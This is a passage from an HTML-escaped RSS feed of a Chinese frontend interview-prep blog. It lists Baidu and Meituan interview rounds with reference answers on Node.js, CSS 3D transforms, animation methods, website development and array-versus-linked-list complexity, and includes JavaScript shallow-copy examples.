&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;nature&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#39;smart&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;good&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;names&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name1&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;fx&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name2&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;xka&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;love&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; () {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;fx is a great girl&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;newObj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Object.&lt;span style="color:#a6e22e"&gt;assign&lt;/span&gt;({}, &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="slice"&gt;slice()&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fxArr&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;One&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Two&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Three&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fxArrs&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fxArr&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;slice&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fxArrs&lt;/span&gt;[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;love&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fxArr&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// [&amp;#34;One&amp;#34;, &amp;#34;Two&amp;#34;, &amp;#34;Three&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fxArrs&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// [&amp;#34;One&amp;#34;, &amp;#34;love&amp;#34;, &amp;#34;Three&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="concat"&gt;concat()&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fxArr&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;One&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Two&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Three&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fxArrs&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fxArr&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;concat&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fxArrs&lt;/span&gt;[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;love&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fxArr&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// [&amp;#34;One&amp;#34;, &amp;#34;Two&amp;#34;, &amp;#34;Three&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fxArrs&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// [&amp;#34;One&amp;#34;, &amp;#34;love&amp;#34;, &amp;#34;Three&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="拓展运算符"&gt;拓展运算符&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fxArr&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;One&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Two&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Three&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fxArrs&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [...&lt;span style="color:#a6e22e"&gt;fxArr&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fxArrs&lt;/span&gt;[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;love&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fxArr&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// [&amp;#34;One&amp;#34;, &amp;#34;Two&amp;#34;, &amp;#34;Three&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fxArrs&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// [&amp;#34;One&amp;#34;, &amp;#34;love&amp;#34;, &amp;#34;Three&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="三深拷贝"&gt;三、深拷贝&lt;/h2&gt;
&lt;p&gt;深拷贝开辟一个新的栈，两个对象的属性完全相同，但是对应两个不同的地址，修改一个对象的属性，不会改变另一个对象的属性&lt;/p&gt;</description></item><item><title>百度-用户增长-秋招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-72/round-116/</link><pubDate>Thu, 21 Aug 2025 15:39:11 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-72/round-116/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-72/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 20 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-7266893b44e3"&gt;1. 有没有使用 Node.js 进行开发的经历？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;“不仅仅用过 Node.js，而且能说清楚在前端团队里它解决了哪些实际问题，产生了什么价值。”&lt;/strong&gt;
这样比单纯回答“用过/没用过”更有亮点。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;考察的核心是：&lt;strong&gt;对 Node.js 的理解深度&lt;/strong&gt;和&lt;strong&gt;在前端/全栈中的实际应用场景&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;回答时可以从以下几个角度展开：&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="1-使用场景"&gt;1. 使用场景&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;前端工程化工具链&lt;/strong&gt;：
使用 Node.js 驱动构建工具（Webpack、Vite、Rollup 等），编写脚本实现自动化构建、代码检查、Mock Server 搭建。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务端接口开发&lt;/strong&gt;：
基于 Express、Koa、NestJS 搭建轻量级 API 服务，用于前后端分离项目的接口模拟或小型后台系统。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中间层 / BFF（Backend for Frontend）&lt;/strong&gt;：
在复杂业务中，用 Node.js 实现前后端解耦，比如统一处理接口聚合、鉴权、缓存。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSR / SSG 场景&lt;/strong&gt;：
使用 Next.js 或 Nuxt.js，借助 Node.js 渲染首屏，提升 SEO 和加载体验。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;运维与脚本&lt;/strong&gt;：
编写部署脚本、自动生成文件、批量处理数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="2-具体任务"&gt;2. 具体任务&lt;/h3&gt;
&lt;p&gt;可以结合自身经历强调：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;是否搭建过 Mock 服务，辅助前后端并行开发；&lt;/li&gt;
&lt;li&gt;是否写过中间层解决跨域、接口聚合问题；&lt;/li&gt;
&lt;li&gt;是否在工程化中写过 Node.js 工具脚本（如自动生成路由表、埋点收集脚本）；&lt;/li&gt;
&lt;li&gt;是否参与过服务端渲染或静态站点生成相关开发。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="3-收获和亮点"&gt;3. 收获和亮点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;对 &lt;strong&gt;事件驱动、非阻塞 I/O&lt;/strong&gt; 有更深理解，能写出高并发场景下的稳定服务；&lt;/li&gt;
&lt;li&gt;学会了在前端视角下如何更好地和后端衔接；&lt;/li&gt;
&lt;li&gt;在实际项目中通过 Node.js 提升了团队的开发效率（例如通过脚本工具减少重复劳动）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-84f9eb35b071"&gt;2. CSS 3D 变形有哪些常见的属性和方法？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;CSS 3D 变形（3D Transform）是 CSS3 提供的一组属性，用来在三维空间中对元素进行旋转、缩放、平移、倾斜等操作。&lt;/p&gt;</description></item><item><title>百度-APP产品研发-秋招 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-69/round-115/</link><pubDate>Wed, 20 Aug 2025 14:54:45 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-69/round-115/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-69/round-112/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-69/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;面试时间：&lt;/strong&gt; 60分钟&lt;/p&gt;
&lt;p&gt;本轮共 21 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-81b93f8982e5"&gt;1. 讲一下你在官网开发中的主要职责，开发的模块以及你觉的比较亮点的地方&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;如果是面试官问到“官网开发中的主要职责、开发的模块以及比较亮点的地方”，一般可以从以下几个角度来回答，既展示你的全局把控能力，又体现你在某些点上有深度。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;如果是面试官问到“官网开发中的主要职责、开发的模块以及比较亮点的地方”，一般可以从以下几个角度来回答，既展示你的全局把控能力，又体现你在某些点上有深度。&lt;/p&gt;
&lt;p&gt;下面是一个参考思路：&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="1-主要职责"&gt;1. 主要职责&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;官网整体架构搭建&lt;/strong&gt;：根据业务和设计稿，使用 React/Vue + Vite/Next.js/Nuxt.js 等技术栈完成整体框架搭建，包括路由、状态管理、多语言支持等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;公共模块封装&lt;/strong&gt;：抽象公共组件（如导航栏、页脚、轮播、富文本渲染、内容卡片等），提高复用率，减少重复开发。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;性能优化&lt;/strong&gt;：处理首屏加载速度、资源拆分、图片懒加载、SSR/SSG、SEO 优化。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;协作沟通&lt;/strong&gt;：与产品、UI、后端保持沟通，保证页面上线节奏和质量。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="2-负责的模块可根据实际情况举例"&gt;2. 负责的模块（可根据实际情况举例）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;首页&lt;/strong&gt;：承担品牌形象展示，涉及 banner 动效、动态数据展示、视频播放等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;产品/解决方案页&lt;/strong&gt;：结合后端接口，展示不同产品模块，支持筛选、搜索、动态路由。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;活动/新闻动态页&lt;/strong&gt;：接入 CMS（如 Strapi、Sanity、WordPress 等），支持运营人员通过后台直接发布。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多语言切换模块&lt;/strong&gt;：基于 i18n 实现官网多语言，支持自动识别浏览器语言，静态资源跟随切换。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SEO 优化模块&lt;/strong&gt;：处理 meta 信息、OG 标签、站点地图、robots.txt，提升搜索引擎收录效果。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="3-亮点难点突破"&gt;3. 亮点/难点突破&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;性能优化亮点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;利用 SSR/SSG（Next.js/Nuxt.js）提升首屏渲染速度，Lighthouse 分数提升到 90+。&lt;/li&gt;
&lt;li&gt;使用图片 CDN + WebP 格式，首页加载时间缩短 30%。&lt;/li&gt;
&lt;li&gt;按需加载组件、拆分 bundle，减少首次请求体积。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;可配置化思路&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;引入 &lt;strong&gt;CMS 系统&lt;/strong&gt;，实现官网内容可配置，避免频繁改代码上线，运营可直接维护。&lt;/li&gt;
&lt;li&gt;封装通用“模块化组件”，如 Banner、富文本、图文组合，做到拖拽/配置式渲染。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;前端体验优化&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;首页/产品页引入 &lt;strong&gt;动效&lt;/strong&gt;（基于 Lottie 或 GSAP），提升视觉冲击力。&lt;/li&gt;
&lt;li&gt;交互细节（滚动吸附、视差动画、过渡效果）增强用户沉浸感。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;工程化实践&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>百度-APP产品研发-秋招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-69/round-112/</link><pubDate>Tue, 19 Aug 2025 14:47:24 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-69/round-112/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-69/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-69/round-115/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 15 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-8b516cb7-fa94-4d68-929f-d3c628d1b7a2"&gt;1. 前端实现动画有哪些方式？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/8b516cb7-fa94-4d68-929f-d3c628d1b7a2"&gt;前端实现动画有哪些方式？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;前端开发中，实现动画的方法多种多样，每种方法都有其适用场景和优缺点。以下是一些常见的实现方式：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CSS 动画&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;@keyframes&lt;/code&gt; 和 &lt;code&gt;animation&lt;/code&gt; 属性定义动画。&lt;/li&gt;
&lt;li&gt;优点：易于实现，性能好，易于维护。&lt;/li&gt;
&lt;li&gt;缺点：功能相对简单，难以实现复杂的交互动画。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CSS 过渡（Transitions）&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;transition&lt;/code&gt; 属性在状态变化时实现平滑过渡。&lt;/li&gt;
&lt;li&gt;优点：简单易用，性能优秀。&lt;/li&gt;
&lt;li&gt;缺点：只能用于状态变化的过渡，不适合复杂动画。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;JavaScript 动画&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用 JavaScript 直接操作 DOM 元素的样式属性实现动画。&lt;/li&gt;
&lt;li&gt;优点：灵活性高，可以控制动画的每一个细节。&lt;/li&gt;
&lt;li&gt;缺点：可能影响性能，需要更多的代码实现。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Web Animations API&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;Element.animate()&lt;/code&gt; 方法实现动画。&lt;/li&gt;
&lt;li&gt;优点：提供更丰富的动画控制和更一致的跨浏览器支持。&lt;/li&gt;
&lt;li&gt;缺点：兼容性不如 CSS 动画。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SVG 动画&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用 SVG 元素和 SMIL（Synchronized Multimedia Integration Language）或 CSS 动画实现动画。&lt;/li&gt;
&lt;li&gt;优点：适合矢量图形动画，易于集成。&lt;/li&gt;
&lt;li&gt;缺点：浏览器支持和性能可能不如 CSS 动画。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Canvas&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用 HTML &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt; 元素和 JavaScript 绘制动画。&lt;/li&gt;
&lt;li&gt;优点：适合复杂的图形和游戏动画。&lt;/li&gt;
&lt;li&gt;缺点：实现复杂，需要手动管理每一帧的绘制。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CSS 3D 变换&lt;/strong&gt;：&lt;/p&gt;</description></item><item><title>美团-零售-秋招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-68/round-111/</link><pubDate>Mon, 04 Aug 2025 07:49:59 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-68/round-111/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-68/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察前端基础知识，包括数据结构、网络协议、操作系统、JavaScript、CSS、React以及算法等方面。&lt;/p&gt;
&lt;p&gt;本轮共 12 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-2de490946b38"&gt;1. 数组和链表的区别，读取 和 删除 的时间复杂度&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;数据结构基础&lt;/strong&gt;：考察对数组和链表这两种基本数据结构概念的理解，包括它们的存储方式和特点。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;时间复杂度分析&lt;/strong&gt;：评估数据结构在不同操作下的性能表现，这是衡量算法效率的关键指标。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;&lt;strong&gt;1.1 原理说明&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;数组&lt;/strong&gt;：数组是一种将元素存储在连续内存空间中的数据结构。它通过索引来直接访问任意元素，因为所有元素的大小相同且物理地址连续，可以通过首地址和索引计算出元素的确切位置。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;链表&lt;/strong&gt;：链表是一种将元素存储在非连续内存空间中的数据结构。每个元素（称为节点）包含数据本身以及指向下一个元素的指针（或引用）。节点之间通过这些指针逻辑上连接起来，但不要求物理上连续。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;联系与区别&lt;/strong&gt;：数组和链表都是线性数据结构，用于有序地存储和组织数据。它们的主要区别在于内存的物理存储方式和由此带来的对元素访问、插入、删除操作的效率差异。数组支持随机访问，而链表只能顺序访问。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;为什么会出现这个技术需求或问题&lt;/strong&gt;：不同的数据存储和操作场景对数据结构有不同的性能要求。当需要快速随机访问数据时，数组由于其连续存储特性表现更优；而当需要频繁地进行插入和删除操作时，链表由于其灵活的指针连接方式，避免了大量元素移动，因此效率更高。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;1.2 核心用法 + 示例代码&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;读取操作&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;数组&lt;/strong&gt;：通过索引直接访问元素，时间复杂度为 &lt;code&gt;O(1)&lt;/code&gt;。无论数组大小，访问任何元素所需时间都是恒定的。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;30&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt;[&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;]); &lt;span style="color:#75715e"&gt;// 输出 30，直接访问，时间复杂度 O(1)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;链表&lt;/strong&gt;：必须从链表的头部节点开始，沿着指针逐个遍历，直到找到目标元素。因此，时间复杂度为 &lt;code&gt;O(n)&lt;/code&gt;，其中 &lt;code&gt;n&lt;/code&gt; 是链表的长度。在最坏情况下，需要遍历整个链表。&lt;/li&gt;
&lt;/ul&gt;
